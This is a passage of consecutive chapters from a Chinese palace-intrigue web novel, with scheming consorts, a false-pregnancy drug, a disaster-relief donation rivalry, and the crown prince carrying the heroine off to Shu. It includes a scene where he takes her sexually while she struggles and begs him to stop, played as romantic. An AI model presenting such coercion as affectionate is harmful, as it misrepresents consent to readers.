她不仅是因为蒙冤,更是因为她在乎裴墨染,不希望裴墨染厌恶她。 白面男子噘着嘴,娇气地质问:“主人,你不是说只要我一条小狗吗?他是谁啊?呜呜呜……你背着我养其他狗了?” “呜呜呜呜……你这个负心人!” 裴墨染一阵恶寒。 这个贱妇,真会玩啊。 苏灵音的唇瓣都气得咬出血,她愤怒朝他扑了过去,“主你娘!你还演!我根本不认识你,你演什么?” 太监又一次将他们分开。 裴墨染双手攥着拳,眼中透着失望,“将这两个外男处死。苏侧妃禁足!” 他抬腿就走。 “殿下!”苏灵音决定赌一把。 裴墨染的脚步一顿。 “妾身跟您经历了这么多风风雨雨,您不信妾身?好!妾身愿意以死明志!”说着,她毅然决然地朝着柱子狠狠撞去。 贴身太监可以拦住,但他不拦。 咚—— 鲜红的液体淋漓。 苏灵音的额角被砸破,鲜血直流。 一阵剧痛传来,她白眼一翻晕了过去。 裴墨染眼中的厌恶不再掩饰,倾泻而出。 这个贱妇怎么不把脑瓜子撞碎? …… 风声传到玄音阁时,云清婳跟飞霜肚子都笑疼了。 “哈哈哈哈……” 飞霜的眼泪都笑出来了,“哈哈哈哈主子,您写的剧本太妙了!听说那小哥一直喊苏灵音主人,苏灵音气得面目狰狞,在场的人都在憋笑。” 云清婳笑问:“那小哥怎么样?” “他吃了假死药,这会儿应该被丢去乱葬岗了。段南天一直暗中看着,小哥不会出事。”飞霜道。 云清婳颔首。 “只是,殿下会不会查出来小哥的来历?”飞霜不禁担心。 “他是扮成婢女混进东宫的,十有八九查不出来。至于苏灵音,咱们能查出来,裴墨染一定也能查出来。”云清婳笃定。 …… 晚上,裴墨染才从后门来到玄音阁。 他一脸疲惫,命人备水后,轻车熟路去了净室。 等他出来时,云清婳正穿着白绸亵衣,坐在床榻边缘,陪两个孩子玩耍。 她浑身散发出一种温柔至极的母性,如同无瑕的美玉。 两个孩子坐在床榻上,咯咯直笑。 他坐在她身侧,环住她的腰,一股清香扑面而来,“今日的事,你都听说了吧?” 云清婳扑哧笑出声,“小狗跟主人?哈哈哈……” 第211章 裴墨染喂孩子喝奶? “有什么好笑的?”裴墨染窘迫地揉了下鼻尖。 这是关乎男性尊严的丑闻! 被戴绿帽的事,他一点都不想提。 不过苏灵音“偷人”,何心意她们愿意说,就说吧。 反正最丢人的是苏家,是皇后! 该着急的,不是他。 人尴尬的时候,就会显得很忙。 裴墨染抱起辞忧,亲了亲她的脸蛋,“爹爹的小胖墩。” “爹~”辞忧唤了一声。 承基也跟着唤道:“爹~” 他的烦恼一扫而空,“诶。” 孩子尚且年幼,云清婳只教他们唤爹娘,父王、母妃暂且没教。 “蛮蛮,辞忧跟承基长得越来越像你了。”他又掂了掂承基,小家伙比辞忧重些。 云清婳调笑地看着他。 裴墨染在她的屁股上拍了一下,“你还笑!我有这么好笑吗?” “我是觉得苏灵音好笑。”她是不吃亏的,也在裴墨染的翘臀上拍了一巴掌。 他的脸色一沉,正色道:“蛮蛮,那两个男人,其中有一个是冲你来的。你被禁足当晚,苏灵音就运了个男人进了清心阁。” “啊?”云清婳脸上的笑容消失,佯装惊讶。 “这个荡妇,真是下贱!”裴墨染光是想想就来气。 偷人也就罢了,还敢用这么腌臜的手段对付蛮蛮。 她蹙眉,捂着他的嘴,“夫君,当着孩子的面,不许骂人!” “……”裴墨染自知失言,有些后悔。 还好两个孩子正低头捏着布老虎玩,似乎没有听见。 “事情发展到了这一步,戏该如何演下去?她的丑事败露,你要是若无其事地和好,皇后跟苏灵音定会起疑。”云清婳分析。 裴墨染搂着她,“我有万全之策,你放心。” 云清婳虎着脸,“夫君,我的花糕呢?” “我忘了。”他歉疚道。 她推开他,哼了一声。 “逗你玩呢,放桌上了。我晌午就买了,可因为苏灵音的事,一直没空给你。”裴墨染捧着她的脸,笑得贱兮兮的。 云清婳早就猜到他是这副德行,连扇他巴掌都懒得扇。 “时辰不早了,我要哄孩子睡觉了,夫君快回长信殿歇息吧。”说着,她拉下床帐。 裴墨染的剑眉一蹙,有些委屈,“蛮蛮,你赶我走?” “万嬷嬷说孩子大了,母亲要跟孩子多亲近。我准备带着孩子睡觉呢,你别把孩子压坏了。” 主要是有了孩子,男人就没作用了。 她才不想跟狗男人挤在一块。 “床榻这么大,还睡不下我?你再赶我走,我就让人搬张新榻过来。”他强势起来。 云清婳爬上床榻,“随你。” 裴墨染跟着上榻,他将两个孩子放在胸口,逗他们玩。 辞忧看着他喷张的胸肌,哈喇子流得老长,小嘴准确无误地吸了上去。 承基也有样学样,小嘴移了上去。 裴墨染:??? “哈哈哈哈……”云清婳发出银铃般的笑声,她在裴墨染的胸上掐了一把,“真丰腴。” 他的脸腾得红了,又好气又好笑。 两个小家伙什么都没吸到,不满地哭嚷了两声,又玩起了布老虎。 云清婳将孩子放到床榻内侧哄睡。 裴墨染用小拇指勾住她的小拇指。 “怎么了?”她问。 裴墨染敏锐地发现了问题,“蛮蛮,在你心里,孩子难不成排在我前面?” 她莫名其妙地反问:“不然呢?” 裴墨染气闷。 之前蛮蛮满心满眼只有他,可现在她动辄打骂,还总是嫌弃他,现在都不让他上床榻了。 这怎么能行? 他扣着她的后脑勺,将她拖进怀中,薄唇堵住她的粉唇。 “唔……”云清婳使劲挣扎,“孩子还在呢!” 裴墨染托着她的腰,轻松将人抱了起来。 云清婳吓得一颤,双臂勾住他的脖颈才稳住身形。 她惊慌失措地看着他,“夫君,干什么?” 他将她抱下床榻,放在贵妃榻上掠夺,如同狂风暴雨一般。 不知过了多久,他好似不知疲惫。 云清婳哭着求饶都没用。 或许是奶水喂得充足,孩子今夜没有闹。 天蒙蒙亮,裴墨染才将云清婳抱回榻上,塞进锦衾里。 她的脑袋晕晕乎乎,眼皮子沉得睁不开,满脸都是泪。 孩子在这时哭了,可云清婳根本喂不了奶水。 裴墨染将孩子抱去给飞霜。 他折返回床榻,扣住她单薄的肩膀,似笑非笑地问:“蛮蛮,谁是你最重要的人?” “唔……夫君最重要。”她哽咽着,声音细碎如猫儿。 “蛮蛮最喜欢谁?”他的眼神深邃幽暗,仿佛回答让他不满意,就会降下惩罚。 云清婳娇声抽噎,“蛮蛮最喜欢夫君跟……” “嗯?”裴墨染的尾音上扬,带着威胁的意味。 她立即改口,“蛮蛮最喜欢夫君了。” 他的嘴角上弯,轻拍她的背脊,柔声道:“我也最喜欢娘子。” 裴墨染神清气爽,感到餍足,他穿好蟒袍后忽然想到什么,“蛮蛮,记得喝避子汤,咱们不生了。” 她胡乱点头,累得只想睡觉。 这条死疯狗! …… 苏灵音醒时,骤然发现裴墨染就坐在榻边。 裴墨染握着她的手,神色担忧但还混着其他看不懂的情愫。 苏灵音有些恍惚,她口干舌燥,气若游丝:“殿下,妾身真的没有背叛您,妾身是冤枉的。” “主子,喝些水吧。”巧慧给她喂水。 苏灵音的脑袋发酸发涨,喉咙干涩,她一口气将水喝完,双眼湿漉漉地看着他。 “殿下,求您相信妾身,妾身不会背叛您。”她一字一顿,仿佛在发誓。 她有些不确定裴墨染的态度,传闻裴墨染铁石心肠,杀人不眨眼。 岂会因为她寻短见就相信她? 她虽然有些喜欢裴墨染,但没有失智。 裴墨染还不至于喜欢她喜欢到完全信任。 裴墨染叹了口气,“灵音,日后不可莽撞了,你怀孕了。” “真的?”苏灵音激动得心颤,一颗泪珠从眼中坠落。 太好了! 她终于怀孕了! 她也有了跟云清婳争抢的筹码了! 只要生出男孩,在姑母的帮助下,她的儿子一定会成为世子,她废掉云清婳指日可待。 “恭喜主子!府医说孩子已经一个多月了。”巧慧笑道。 苏灵音将手放到小腹上,凄凄地哭道:“殿下,求您信妾身,妾身没有背叛您,孩子是您的。” 裴墨染的眼睛盯着她的腹部,不咸不淡道:“灵音,本宫查到那两个外男皆进府不久。但其中有一个,是被你连夜运进东宫的,这是为何?” 苏灵音早就想好了说辞。 她的双眼透着真诚,“殿下,那位公子原本是个镖师,是爹娘送进来护我平安的。我一直想找机会跟您说,姑母也是知道的,殿下若是不信,可以问姑母。” 她观察着裴墨染的脸色。 第212章 狗男人真想吃软饭? 裴墨染的脸上出现了片刻的纠结,随后他眼底的疑色淡去。 看样子是有几分相信她的说辞了。 “殿下,另一个男人,妾身真的不知道是怎么来的。”她抓住他的手,一脸坦然。 裴墨染的剑眉一沉再沉,严肃道:“灵音,你为本宫挡过刀,本宫下狱时只有你陪在本宫身边,所以本宫愿意信任你。但这是最后一次了。” “嗯。”苏灵音顺势靠进他的怀中,泣涕涟涟。 她暗中吁出一口气。 上天眷顾啊! 她知道,裴墨染肯轻轻放下这件事,多半是为了她腹中的子嗣。 孩子来的真是时候! “灵音,你好生养胎,本宫已经跟人吩咐了,给你解禁。”他轻拍她的背。 苏灵音的笑意不断加深。 云清婳禁足,魏娴流产休养,现在整个东宫只剩她位份最大! 四舍五入,如今的后宅岂不是她在掌权? 这正是她架空云清婳恶毒好机会! 裴墨染的眼中铺满了阴险的笑。 苏灵音吃了他命人准备的假孕药,他日后便有十足的理由不碰她了。 想到这里,他的心绪陡然变好。 …… 玄音阁。 云清婳打开地图,指尖落在蜀地,“让咱们的商队快些回来吧。” “为何?”飞霜不解。 她的声音很轻,“地龙要动了。” 算着时间,原著的一个情节又来了。 钦天监的地动仪预测到蜀地地震,姐姐跟裴墨染第一时间传去消息,让布政使疏散百姓。 他们又亲自赶去救援,挽救了不少生灵。 可如今,朝野中没传来半点关于地震的消息,只能说明一件事——有人故意将此事隐瞒下来了。 看来裴云澈在下一盘大棋。 一个婢女匆匆赶来,“主子,如今苏灵音不仅解禁,还怀了孕,听说她已经拉拢东宫各个掌事,恐怕掌家权会被夺走啊。” 云清婳悠闲地吹了吹指甲上未干的蔻丹汁水,“放心吧。” 各个掌事,都是她的人! 苏灵音尽管造作,若是撬动任何一人,算她输! …… 过了半个月,蜀地地震的消息传来。 皇上震怒,斥责裴墨染懒政怠政,监察不力,害得蜀地伤亡惨重。 裴墨染被骂得狗血淋头,一个字都不敢反驳。 裴云澈暗暗幸灾乐祸,他拱手道:“陛下息怒,儿臣已经派人送了粮草辎重前往蜀地,募集了民间一百位筑房工匠,正往蜀地赶。” “云澈向来周到,心怀仁义。”皇上欣慰地看向他。 裴墨染瞥着裴云澈,眼神幽森。 显然,裴云澈是早有准备。 钦天监的消息十有八九被他拦截住了。 …… 退朝后,裴墨染拦住裴云澈,他阴冷地开口:“你果真没有人性。” “本王听不懂太子在说什么。”裴云澈的笑容温润,一副谦谦君子的模样。 裴墨染最恨他这副道貌岸然的模样,简直是衣冠禽兽、斯文败类! 他攥着拳头,“数月前,你炸毁西宁渠,淹了西宁郡。蜀地有难,你瞒而不报,故意酿成大祸,就为了夺嫡!你心中可有百姓?” 裴云澈轻笑,就像听见了笑话,他的声音陡然拔高,“太子殿下怎能把失察之责,怪到本王头上?莫非是想仗势欺人,拿本王撒气?” 官员纷纷侧目朝裴墨染看去,眼中带着几分鄙夷。 裴墨染想撕了他,眼神像是淬了冰。 “说到人性,你还记得之前你是如何跟本王保证的?你说会疼爱蛮蛮,可结果呢?为了一个荡妇将她禁足!蛮蛮为你诞下一对儿女啊,你可有人性?”裴云澈的眼神锐利。 他的心爱之人,裴墨染得到了,为什么不好好珍惜? 他不甘! 他恨! “蛮蛮是本宫的女人,你有什么资格唤她闺名?”裴墨染怒火中烧,“你为了一己之私,让成千上万的百姓水深火热,倘若蛮蛮知道此事,你猜她会不会厌恶你。” 裴云澈的心一颤,脸色极为难看。 裴墨染冷笑着离开。 …… 苏灵音很快就知晓了朝中之事。 她立即抽出名下铺面的大半银两,发动苏家人脉筹集善款。 “裴墨染被皇上劈头盖脸一顿骂,只要我筹集足够的银两,让皇上对他刮目相看,解了他的燃眉之急,他必定会对我感激涕零。”她一脸的势在必得, “主子,云清婳的表哥江培玉可是皇商,她必定不会放过如此好的机会。”巧慧担心道。 苏灵音不耐烦地白了她一眼,就像在嘲讽她小家子气,“前阵子闹蝗灾,云清婳跟江家已经捐了可观的善银,你真当生意人的钱是大风刮来的?” “云清婳跟江培玉会出手,但绝不会像上次那般阔绰,只要苏家拿出十足的诚意,裴墨染一定会感激我,感激苏家!” “至于云家,裴墨染会怪他们恃宠而骄,不满他们为何上次肯出钱出力,这次却这般小气。毕竟人的本性就是贪得无厌、自私自利!” 巧慧不由得担心。 太子妃上次蝗灾捐了不少银两、物资,手下的商队、铺面据说好多都没回本,恐怕已经元气大伤。 这次只怕真的被苏灵音说中了,要让苏家出风头了。 …… 清心阁。 云清婳指尖飞快地拨弄算盘,计算着此次赈灾所需的银两,她的眉眼愈发凝重。 “主子,这次赈灾需要多少银子?”飞霜好奇地问。 她吐出一口浊气,“国库紧张,除去其他皇子官员的善款,裴墨染至少要出五十万两才能让皇上满意。” “五十万两?都是您跟江少爷出吗?”飞霜的心肝都心疼得直哆嗦。 “我凭什么出?我付出多了,裴墨染只会觉得理所当然,他真想吃软饭不成?”云清婳的神色一黯。 她可以付出,但不能总是她付出。 再说了,她跟江家倘若一下子拿出五十万两,不仅裴墨染会盯上他,皇上更会盯上她。 以后有个小灾小难,都指望她出银子。 她不能这么傻。 忽然,门被推开。 裴墨染脸色阴沉的走了进来。 云清婳默默地将账本放到桌下。 狗男人不会是来要钱的吧? 裴墨染屏退下人,坐在云清婳身旁,他紧紧拥着她。“蛮蛮,今日……” 他将早朝发生的事全部说给她听。 第213章 你在教我做事? 云清婳轻抚他的背,“夫君今日受委屈了,陛下为了蜀地的百姓太着急了。” “裴云澈真是小人得志!”他的语气透着不甘。 她知道裴墨染的心里很不好受。 他本就缺爱,皇上表扬了裴云澈,却把他骂得狗血淋头,他又是太子,面子、里子全被皇上当众击碎了。 “夫君能想到的事情,皇上自然也能想到。皇上对贤王的所作所为一清二楚,但他更看重如何解决此事。” 皇上在试炼每一位皇子,他虽然偏爱裴云澈,把储君之位交给了裴墨染,但这并不是最终的定局。 每一次的内斗,在皇上眼里都是磨刀石,他默许儿子们的一切阴谋诡计,只有最终锤炼出来的人才有资格继承大统。 皇上偏爱宸妃,但在他心里,宸妃比不上江山,所以他没有坚定地册立裴云澈为太子。 裴墨染自然知道这些弯弯绕绕。 听了云清婳的安慰,他的心情好了不少。 “裴云澈、睿王争相出了不少银两、粮草,如今无非是看谁出血多罢了。”他疲惫地靠在云清婳的肩膀上。 云清婳牵了牵唇角,“夫君若是急着用银子,不如我想想办法?” 裴墨染揉揉她的脑袋,心中一片熨贴,“你把我当什么了?我一个大男人,怎能要你的钱?云家帮了我不少,我不能一昧索取。” 还算狗男人有良心。 她虎着脸道:“夫君也不能把东宫的银两全部拿出去,日子不过了?倘若你真这么做了,我只能用嫁妆养你了。” 他忍俊不禁,他挺喜欢被云清婳管着。 “胡说!我少过你月钱?我怎会用你的嫁妆?”他掐了下她的腰。 二人打闹了一会儿,裴墨染才去处理政务。 人走后,飞霜道:“主子,听说苏灵音那边有大动作,她把自己当作东宫的女主人了,命东宫上下节俭,召集各个夫人募捐,好像还把自己的嫁妆拿出来了。” 云清婳的眼里浮现出鄙夷,她戏谑道:“作为一个细作,她居然动真情了,这可是大忌!” 飞霜不禁有些同情苏灵音了。 为了一个男人,居然把自己的嫁妆搭进去。 这不是动情了是什么? “奴婢原本以为她聪慧狡猾,现在看来也是个蠢的。”她轻笑着。 云清婳执起笔,在账本上批了几仓库的粮草,“既然苏灵音发力了,我们也得做做样子,免得落人口实。” …… 裴墨染一个月没有回府,只听说他与监察御史里应外合,查出不少贪官,单凭抄家就抄出几十万银两。 一时之间,反腐肃贪蔚然成风,人心惶惶。 满朝文武中三成官员,退朝后纷纷去往文华殿拜见裴墨染,主动提出捐募善款。 …… 这一日,云清婳终于解了禁,苏灵音带着所有夫人前去花厅请安。 云清婳当即命苏灵音交出账本,让飞霜清点。 “王妃放心,妾身不敢铺张,为了赈灾,府中上下很是节俭。”苏灵音落落大方的说。 长相貌美的陆夫人道:“连殿下都夸奖苏侧妃管家管得极好,王妃照料皇孙辛苦,不如提拔苏侧妃,让苏侧妃为您分忧?” 在云清婳禁足期间,陆夫人选择站队,早就投靠了苏灵音。 云清婳睨了陆夫人一眼,心中记住了。 她是什么身份?也配教她做事? 光明正大分她的权,真把她当软柿子捏了? “妾身怀孕时常走神,脑力也大不如前,不敢管理账本。”苏灵音的语气谦卑,可她的手却抚摸着平坦的小腹,炫耀意味十足。 云清婳的眼神射出讥诮。 若是没猜错,裴墨染给苏灵音下了假孕药。 苏灵音肚子里根本没有孩子,可苏灵音却因为空空如也的肚子引以为傲。 真是可笑。 突然,苏灵音清了清嗓子,她一副女主人的口吻:“太子妃,殿下近来为赈灾的事四处奔走,妾身已经召集姐妹们募捐银两。太子妃仁心一片,就差您的善款了。” 云清婳看向婢女,婢女端来一个匣子。 匣子打开,里面摆了十根金灿灿的金条。 几个夫人看直了眼,嘴半张着,似乎被金黄的光给震撼到。 而苏灵音缓缓吁出一口气。 才十根金条! 比不上她的善款的冰山一角! 云清婳果然不爱裴墨染,否则也不会这么小气。 “太子妃菩萨心肠,蜀地的百姓一定会感念您的恩德。”苏灵音恭敬道。 众夫人崇敬地看着上首的云清婳,眼里带着敬重,她们齐声道:“太子妃菩萨心肠。” 就在这时,裴墨染来了。 他看到婢女手中抱着的匣子,眼神一黯。 “你们在聊什么?”裴墨染坐在上首。 陆夫人趁机道:“殿下,苏侧妃组织姐妹为蜀地百姓募捐。太子妃捐了十根金条,敢问苏侧妃捐了多少银两?” “妾身手中余钱不多,多亏父兄所赠的铺子、田亩赚了些银子,我全部捐了。”苏灵音福福身。 巧慧立即道:“主子何必自谦?您为了百姓,把嫁妆都拿出来了,还托人找到了慈济会的二当家,二当家已经答应捐赠了。” 云清婳险些笑出声。 慈济会不正是她开的商会吗? 打着济世救人的旗号做买卖,一本万利,畅通无阻。 众人窃窃私语起来。 “是那个慈济会吗?” “就是每次一有天灾人祸就捐款布施的慈济会?” “听说他们跟皇商江家一个主水路生意,一个主陆路生意,传言他们加起来富可敌国。” 裴墨染不由得对苏灵音刮目相看。 她竟然能联系到慈济会? “苏侧妃,赵老板来了。”一个婢女通传。 苏灵音看向裴墨染,裴墨染颔首,“宣。” 很快,赵川便被召进花厅。 飞霜给赵川奉茶,“赵老板,远道而来,喝些吧。” “多谢飞霜姑娘了。”赵川笑容可掬。 苏灵音的太阳穴突突直跳。 这贱婢怎么变得这么殷勤? 不会想抢功吧? “赵老板,我与您联系半个月了,捐赠善款的事情您可想好了?”苏灵音端庄的福福身。 赵川拱手道:“苏侧妃放心,大掌柜已经同意。” 裴墨染唇角上弯,“本宫代蜀地百姓谢过慈济会。” “殿下言重了,能为殿下效力,是鄙人的荣幸。”赵川恭敬道。 “苏侧妃真是菩萨心肠啊!”陆夫人谄媚道。 其他夫人纷纷道:“苏侧妃宅心仁厚。” “妾身记得太子妃名下的商铺也不少,太子妃身为典范,不如也多捐一些吧?”陆夫人操着玩笑的语气。 云清婳一字一顿,“你在教我做事?” 霎时,整个花厅安静下来。 陆夫人扑通一声跪地,泫然欲泣,“妾身失言,妾身只是在说笑,还请太子妃大人有大量,不要跟妾身计较。” “好笑吗?谁笑了?”云清婳反问。 第214章 殿下这是情根深种了 陆夫人跟苏灵音交换了个眼神。 裴墨染心烦不已,这些搅家精,没完了! 当着外人的面不嫌丢人吗? 陆夫人吸吸鼻子,委屈中带着倔强,“太子妃,十根金条也就是一千五百两银子。妾身不才,捐了一千六百两,妾身可不敢越过您啊。” 言下之意便是云清婳小气,捐少了! 裴墨染的脸色阴了下去,“善款无论多少全是心意,有何可攀比的?” 云清婳眼中的愤怒消了几分。 苏灵音在心里冷笑。 说得倒是冠冕堂皇。 可他真的不希望多捐一点? “是啊,这都是心意,太子妃定有太子妃的道理与难处,岂是我们能够妄议的?”苏灵音看似在为云清婳说话,可其实暗指她存了私心。 苏灵音话锋一转,接着道:“敢问赵老板可否捐赠二十万两白银?” 赵川犹豫不决,“这个……鄙人得请示大掌柜。” 苏灵音有些后悔自己的‘狮子大开口’,她失落道:“敢问大掌柜在何处?要等多久?不然少些银两也没关系的。” “无需等待。”赵川粲然一笑,朝着上首云清婳的方向一拜,“慈济会的大掌柜正是太子妃!” 所有人都傻眼了,震惊地看向上首的云清婳。 裴墨染的瞳孔一震。 他与蛮蛮成亲两年了,他竟不知蛮蛮还有这层身份。 他还以为蛮蛮只是依附江家做些生意罢了。 “什、什么?”苏灵音的眼角抽了抽,整个人呆愣地站在原地,脑袋轰鸣。 她到处托人找关系,千辛万苦才联系上的慈济会,居然是云清婳开的! 她简直像极了小丑! 苏灵音的双眼充血,窘迫得恨不得找条地缝钻进去。 她原本想要在裴墨染面前抢功的,现在好了,给云清婳做了嫁衣。 云清婳勾起红唇,露出妖冶的笑,“苏侧妃,二十万两恐怕有些难,十万两倒是可以考虑。” “呵……全凭太子妃做主。”苏灵音心不在焉,笑容牵强。 她胸闷气短,急火攻心,简直快要晕过去。 裴墨染双眼晶亮,欣赏地看着云清婳,“这匣金条,太子妃还是留着吧。” “是。” 狗男人帮她省钱,她自然没有意见。 最后,裴墨染还是收了苏灵音的善款。 这个女人的钱、苏家的钱,不收白不收。 这是他的精神补偿! 当他看到苏灵音募集的善款数额,着实被吓了一跳,她居然募集了三十万两。 苏家究竟贪了多少? …… 云清婳回寝殿后,径自躺在床榻上。 其实捐赠二十万两,于她而言不痛不痒,九牛一毛罢了。 但她就是不想让苏灵音如意。 忽的一道阴影落了下来,将云清婳笼罩其中。 她掀开眼皮一看,便瞧见了裴墨染。 他脱下皂靴,厚脸皮地挤到她身侧躺下。 “蛮蛮,你是慈济会的大掌柜,为何不跟我说?”他将脑袋埋进她的颈窝。 “夫君也没问啊,生意上的事,你向来不愿打听。”她义正言辞地说。 裴墨染语塞,他的确如此。 他欣赏地看着云清婳,眼中透着浓浓的兴趣。 蛮蛮总有无数惊喜,等待着他去挖掘。 云清婳感受到他热切的视线,早就习以为常。 这是人的本性,慕强。 “看来我得努力,不然只能回家吃娘子的软饭了。”他的鼻尖在她锁骨上蹭了蹭。 云清婳痒得不行,轻笑出声,“夫君要是不努力,我才不养你,你让苏灵音养吧。” “你看你,又吃醋!”他嘴上不悦,实则心里暗爽。 …… 清心阁。 苏灵音被气得后槽牙磨得硌吱硌吱响。 巧慧忙不迭端上茶水,“主子息怒,就算是为了孩子也不能生气啊。” “对……”苏灵音抚摸着平坦的小腹,表情渐渐恢复平静,眼神变得温柔。 “上次云清婳募捐,被皇上颁旨嘉奖了一番,这次我募集了三十万两,皇上也会嘉奖我对吧?” 巧慧谄媚道:“这是自然!” “而且裴墨染似乎也不知道慈济堂是云清婳开的,他此时应该很恼火云清婳欺瞒他。”苏灵音的脸上重现阴险的笑, …… 裴墨染拿出这段时日筹集的善款以及明细,零零总总加起来有六十万两。 皇上早有耳闻裴墨染整治贪官,筹集善款,他大为赞扬。 至于苏灵音跟苏家,皇上只口头上夸了一句。 裴云澈周身的气场,当即变得森冷。 挡他路的人,都得死! 退朝后,裴云澈去了御书房,请奏裴墨染躬亲前往蜀地赈灾。 皇上应允了。 …… 苏灵音满眼欢喜地等待着皇上的嘉奖。 可从白天等到了晚上,一点风声都没有收到。 这把苏灵音气得胃都疼了。 白忙活了一场,还欠了家中亲戚一大笔人情。 …… 裴墨染前往蜀地赈灾的消息传回东宫时,府邸上下人心惶惶。 据说蜀地的地龙动的频繁,时至今日时不时还有震感。 云清婳却毫不担心。 因为裴墨染是男主,绝对不会死。 虽然原著里写了裴墨染遇上了地震,房屋塌陷,但也仅仅被房梁砸了胳膊而已。 “主子,殿下若是出事怎么办?裴云澈这招可真是狠啊。”飞霜的眼中满是担忧。 “你担心什么?裴墨染去蜀地,咱们又不去!”她安然地躺在柔软的被褥里,身子轻飘飘的,像躺在了云朵上。 “若是没猜错,裴云澈准备动手了!我们可得躲远一点。” 飞霜幸灾乐祸道:“苏灵音不是总爱陪殿下同甘共苦吗?最好苏灵音跟着他一起去!” 云清婳笑了,“苏灵音真对裴墨染动心了,说不定她真的会去。” “呵呵呵呵……” 砰—— 门突然被打开。 裴墨染走了进来,他摆摆手,示意婢女退下。 “蛮蛮,父皇派我去蜀地,今晚便要起程。”他深深地看着她,一脸眷恋。 云清婳从榻上坐起身,她装作不舍,“我都听说了,夫君要多加小心,我跟孩子等你回来。” “嗯。”裴墨染捏着她的下巴,唇落在她的唇瓣上,动作温柔,依依不舍。 “唔……” 她随意应付着,心里想着狗男人,快点走! 一吻毕,他微不可闻地叹息,眼中闪出愧疚,“蛮蛮,又要委屈你了,自从搬进东宫,我们总是聚少离多。” “夫君心里有我跟孩子,我就不委屈。”她捧着他的脸,眼尾泛着淡淡的红,却好似故作坚强,“夫君要早些回来,否则当心孩子把你忘了。” “嗯。”他沉沉应了一声。 门外传来拍门声。 贴身太监道:“殿下,时辰到了,该走了。” 云清婳恨不得一脚把裴墨染踹出去,他能不能别磨蹭了? “夫君快走吧,别让其他官员等急了。”她轻推了下他的胸口。 “记得给我写信。”他捏捏她的手心,“不许敷衍我,写多一点。” 她点头,“知道了。” 终于,裴墨染一步三回头地走了。 门阖上的瞬间,飞霜忍不住调侃:“啧,殿下这是情根深种了。” 云清婳咧嘴,嫌弃极了,“总算走了!” 话音刚落,门砰地被推开。 裴墨染大步朝她走来。 云清婳的心咯噔一响。 什么情况? 狗男人不会听到了吧? 第215章 可能殿下就好这口 “夫君是不是忘带什么东西了?”她的杏眸瞪得浑圆。 裴墨染弯下腰,伸出双臂掐住她的腰,“走,随我去蜀地。” 云清婳:??? 她眸色凝滞,心中似乎有什么东西破碎。 “不!我不去,我不去!”她挣扎着打开他的手,“你带着我像什么话?当心落人口实。” “随军家眷为何不能带?谁乱说,我割了谁的舌头。”他抓住她的胳膊。 云清婳跟甩秽物似的使劲甩开他的手。 狗男人是不是有病? 为什么送死还非要拉上她? 他是男主,他有男主光环不怕死! 可她在这本小说里,充其量就是个路人甲啊! “我不去!夫君,你这样任性,其他官员定会在背后议论你!”她缩到床榻角落。 裴墨染的双手撑在榻上,目光深邃像是一匹捕猎的豹子,死死盯着猎物。 “蛮蛮,你不想我吗?”他的尾音上扬。 云清婳义正言辞道:“我自然想夫君,可事有轻重缓急,大事上,我必不能添乱。” “既然想我,你跟我犟什么犟?”裴墨染忽然伸手捉住她的脚踝,将人丝滑地拖到身下。 随手拿起披风,快速将她严严实实地包裹起来,像是缠了一枚粽子。 他将人打横抱起,抬腿就走。 云清婳使劲挣扎,小脸涨得通红,“你放开我!裴墨染,我不走!丢死人了!” 蜀地缺水缺粮,去了就是受罪! 她才不去! 裴墨染觉得她的小嘴太吵,叽里咕噜地说个不停。 他低下头,在她唇瓣上亲了一口。 云清婳气急了,报复性地将他的唇咬出血。 飞霜急坏了,她跟在后面追,“殿下,皇孙还小,离不开娘亲的。” “裴墨染!孩子怎么办啊?”云清婳的眼中沁出了泪。 “有奶娘。”他显然早就想到了此事。 云清婳娇羞地垂下眼,“可是,可是我……我会涨奶。” 裴墨染沉默了几秒,他道:“有我。” “……” 云清婳的脑袋好像快要炸开了。 飞霜羞臊地捂住耳朵,扭过身去,真是多看一眼都臊得慌。 …… 裴墨染将云清婳抱上马车,放在里面简易的床榻上。 车轮滚滚,军队也开始赶路。 云清婳从披风里伸出手,啪—— 她狠狠抽了裴墨染一巴掌。 “你放我下去!”她红着眼,小脸凶极了。 裴墨染不恼,他单膝跪在榻前,贴心地为她盖上被褥,“蛮蛮,你乖乖睡觉,明早就能赶到下一座城池。” “我要回府。”说着,一滴泪从她的眼中坠落。 他的心里也很不是滋味。 但一想到跟蛮蛮分别数月,他更接受不了。 “那你走吧。”他轻扬下巴。 云清婳低头看着光洁的脚,将脚缩进了被褥里,娇憨地抽泣,“没有鞋袜。” 他笑了,“明日乾风就把飞霜跟行李送来。” 狗男人这是算准了她逃不掉。 她怒从心起,又一次扬起手。 裴墨染眼疾手快地握住她的腕,理不直气也壮,“你这个悍妇!你知道多少人想随我去蜀地吗?我谁都没带,就带了你,你还打我。” “呸!谁好日子过够了,想随你去蜀地?”她逼视着他的眼睛。 裴墨染的眼神发飘,匆匆错开她的目光,“跟你说了你也不认识!” 云清婳恶狠狠地瞪他。 他被盯得发怵。 “你伤及本宫的玉体,本宫都没计较,能嫁给本宫这样体贴大度的夫婿,你偷着乐吧!”他扣着她的腕,强行在她唇上亲了一口。 偷着香,他逃似地跳下马车。 “滚!”云清婳抄起一个枕头狠狠朝他砸去。 枕头砸中车扉,坠到了地上。 一群副将看见裴墨染脸上的巴掌印,下意识捂住了自己的脸。 嘶…… 太子妃下手真重。 一个副将不解道:“殿下乐什么呢?被打成这样还乐。” 诸葛贤低下头,极力忍笑。 另一个副将道:“可能殿下就好这口吧。” 其他人:不理解,但是尊重。 …… 云清婳一整夜都没睡好,木床板太硬,把她硌得浑身疼。 好在她醒来时,飞霜连夜跟上军队了,送来了衣物。 “主子,苏灵音当真跟过来了。”飞霜笑了。 “恋爱脑是病!得治啊。”云清婳讥诮道。 卧薪尝胆的是勾践,没苦硬吃的是真贱! 趁着军队休整,云清婳洗漱后,梳了平髻。 换好衣物后,裴墨染送来了一包芙蓉酥。 “我方才在路边找了好久,特意给你买的。”他殷勤地讨好。 现在发脾气也没什么用了,木已成舟。 她若是一直闹下去,反而会让裴墨染觉得她贪生怕死,用心不纯。 “夫君,我想孩子了。”她捻起一块糕点,眼圈红了。 裴墨染用帕子为她擦了擦眼角,他将她搂进怀里,“我尽快处理完蜀地的事,然后咱们就回京。” “若是回去后孩子不认识我了,我一定不会放过你。”她虎着脸,威胁地捏着拳头。 他被她这副娇憨的模样逗笑,“两个小家伙不会这么没良心吧?” “孩子自从生下来,就没与我分开这么久。”她吸吸鼻子。 他轻拍她的背脊,心里有点吃醋。 蛮蛮怎么满脑子都是孩子? “别难过了,娘子跟为夫在一起,难道不开心吗?” 